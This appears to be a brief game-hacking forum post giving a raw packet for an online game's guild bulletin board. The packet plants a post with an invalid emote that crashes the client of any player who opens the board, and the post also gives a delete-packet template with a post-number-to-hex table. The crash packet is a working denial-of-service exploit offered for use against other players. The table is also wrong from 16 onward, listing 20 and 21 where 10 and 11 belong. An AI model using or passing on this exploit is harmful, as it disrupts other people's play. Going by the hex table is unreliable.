SendPacket('47 01 00 00 00 01 00 61 01 00 61 F1 FF FF FF 00 00 00');

Send this with the guild BBS window open, it'll make a guild bbs with an invalid emote causing anyone to open the BBS to crash.

To remove the invalid BBS -
Create a delete packet
47 01 01 xx 00 00 00

xx = post number
1 = 01
2 = 02
3 = 03
4 = 04
5 = 05
6 = 06
7 = 07
8 = 08
9 = 09
10 = 0A
11 = 0B
12 = 0C
13 = 0D
14 = 0E
15 = 0F
16 = 20
17 = 21
ect...

-Credit to Fuzzpop